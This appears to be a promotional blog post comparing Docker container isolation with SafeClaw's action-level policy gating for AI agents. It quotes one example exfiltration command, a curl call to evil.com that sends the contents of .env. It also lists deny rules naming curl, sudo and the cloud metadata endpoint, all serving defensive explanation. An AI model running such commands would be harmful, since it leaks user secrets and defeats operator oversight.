SafeClaw vs Docker for AI Agents: Container Isolation vs Action-Level Gating

"Just run it in Docker."

This is the default answer when someone asks how to safely run an AI agent. And it is not wrong. It is just not enough.

Docker provides container-level isolation. SafeClaw provides action-level gating. These operate at different layers of the security stack, and understanding the difference matters if you are running AI agents that touch your file system, execute commands, or make network requests.

What Docker Actually Gives You

Docker wraps your AI agent in a container. The container has its own filesystem, its own process namespace, its own network stack. The agent inside the container cannot directly access the host system.

This is real security. It is meaningful isolation. For many workloads, it is sufficient.

Here is a typical setup:

FROM node:20-slim
WORKDIR /app
COPY . .
RUN npm install

Mount only the project directory
VOLUME /workspace

CMD ["node", "agent.js"]

docker run -v ~/projects/myapp:/workspace agent-image

The agent can access /workspace inside the container. It cannot access /etc/passwd on the host. It cannot read your SSH keys. The filesystem boundary is enforced by the kernel.

This is container-level isolation. And for many threat models, it works.

Where Docker Falls Short

The problem is granularity. Docker operates at the mount level. You either mount a directory or you do not. Once a directory is mounted, everything inside it is fair game.

Consider this scenario. You mount ~/projects/myapp into the container so your AI agent can write code. The agent can now:

• Write to ~/projects/myapp/src/app.ts (intended)
• Write to ~/projects/myapp/.env (dangerous -- contains API keys)
• Write to ~/projects/myapp/.git/hooks/pre-commit (dangerous -- code execution on git commit)
• Overwrite ~/projects/myapp/package.json with malicious dependencies (dangerous)

The same applies to shell execution. If the agent can run commands inside the container, Docker does not distinguish between npm test and curl http://evil.com/exfil?data=$(cat .env). Both are process executions within the container.

And network access. You can restrict network access at the Docker level with --network=none, but then your agent cannot make any API calls. If you give it network access, it has network access to everything unless you layer in additional network policies.

What Action-Level Gating Gives You

SafeClaw does not replace Docker. It operates inside the security perimeter, at the individual action level.

Where Docker asks "can this container access this directory?", SafeClaw asks "should this specific agent be allowed to write this specific file right now?"

# SafeClaw rules inside or outside a container
file_write to ~/projects/myapp/src/** → ALLOW
file_write to ~/projects/myapp/.env → DENY
file_write to ~/projects/myapp/.git/** → DENY
file_write to ~/projects/myapp/package.json → REQUIRE_APPROVAL

shell_exec matching "npm test" → ALLOW
shell_exec matching "npm run build" → ALLOW
shell_exec matching "curl *" → DENY
shell_exec containing "sudo" → DENY

network to api.openai.com → ALLOW
network to registry.npmjs.org → ALLOW
network to 169.254.169.254 → DENY

Every action is evaluated individually. The agent can write to source files but not to .env. It can run tests but not arbitrary curl commands. It can reach OpenAI but not the cloud metadata endpoint.

Docker says "you are in the box." SafeClaw says "you can do these specific things and nothing else."

The Layered Approach

The strongest security posture uses both. Docker provides the outer perimeter. SafeClaw provides the inner gating.

┌─────────────────────────────────────┐
│  Host System                        │
│  ┌───────────────────────────────┐  │
│  │  Docker Container             │  │
│  │  ┌─────────────────────────┐  │  │
│  │  │  SafeClaw Policy Engine │  │  │
│  │  │  ┌───────────────────┐  │  │  │
│  │  │  │  AI Agent         │  │  │  │
│  │  │  └───────────────────┘  │  │  │
│  │  └─────────────────────────┘  │  │
│  └───────────────────────────────┘  │
└─────────────────────────────────────┘

Docker limits what the agent can reach. SafeClaw limits what the agent can do within what it can reach. Defense in depth.

If the container is compromised and the agent escapes the SafeClaw policy engine, Docker limits the blast radius. If Docker's volume mount is too permissive, SafeClaw catches the dangerous file writes. Each layer covers the gaps in the other.

The Comparison

| Capability | Docker | SafeClaw |
|---|---|---|
| Filesystem isolation | Mount-level (directory) | File-level (specific paths) |
| Shell command control | All-or-nothing | Per-command evaluation |
| Network restriction | Interface-level | Per-destination evaluation |
| Policy granularity | Coarse | Per-action |
| Action audit trail | Container logs | SHA-256 hash chain |
| Setup overhead | Dockerfile + compose | npx @authensor/safeclaw |
| Distinguishes safe vs dangerous writes | No | Yes |
| Works without containers | No | Yes |

When Docker Is Not an Option

Not every environment supports Docker easily. Local development on macOS without Docker Desktop. CI/CD pipelines where container-in-container is complex. Edge devices. Quick prototyping sessions where spinning up a container adds friction.

SafeClaw runs anywhere Node.js runs. One command:

npx @authensor/safeclaw

Browser dashboard opens. Setup wizard walks you through policy creation. No Dockerfile. No compose configuration. No volume mount strategy. Sub-millisecond policy evaluation, all local.

This is not a replacement for Docker when Docker is available. It is the security layer that works regardless of whether Docker is present.

When Docker Is Not Enough

Even with Docker, you need to answer these questions:

1. Within the mounted volume, which files should the agent be able to modify? Docker cannot answer this. SafeClaw can.

1. Which shell commands are acceptable? Docker cannot distinguish between commands. SafeClaw evaluates each one.

1. Which network destinations are legitimate? Docker's network controls are blunt. SafeClaw evaluates per-destination.

1. What did the agent actually do? Docker logs capture stdout/stderr. SafeClaw maintains a tamper-proof audit trail with SHA-256 chaining of every action attempted, allowed, or denied.

1. Can you test your security policy before enforcing it? Docker's security is binary -- the container is running or it is not. SafeClaw's simulation mode lets you see what would be allowed or denied without enforcement.

The Real-World Scenario

You have an AI coding agent. It needs to edit your source code, run tests, and call the OpenAI API. You run it in Docker with the project directory mounted.

Without SafeClaw, the agent can overwrite your .env, inject malicious scripts into git hooks, modify your CI configuration, and exfiltrate environment variables through network requests to arbitrary destinations -- all within the "allowed" container perimeter.

With SafeClaw, each of those actions hits a policy check. The agent writes to src/ -- allowed. The agent writes to .env -- denied. The agent runs npm test -- allowed. The agent runs curl -- denied. Every decision is logged in the tamper-proof audit trail.

Docker gives you the walls. SafeClaw gives you the security guards inside the building.

Get Started

SafeClaw works standalone or inside Docker containers. 446 tests. TypeScript strict mode. Zero dependencies. 100% open source.

npx @authensor/safeclaw

Free tier available. 7-day renewable keys. No credit card required.

Works with Claude, OpenAI, and LangChain out of the box.

SafeClaw is built on Authensor. Try it at safeclaw.onrender.com.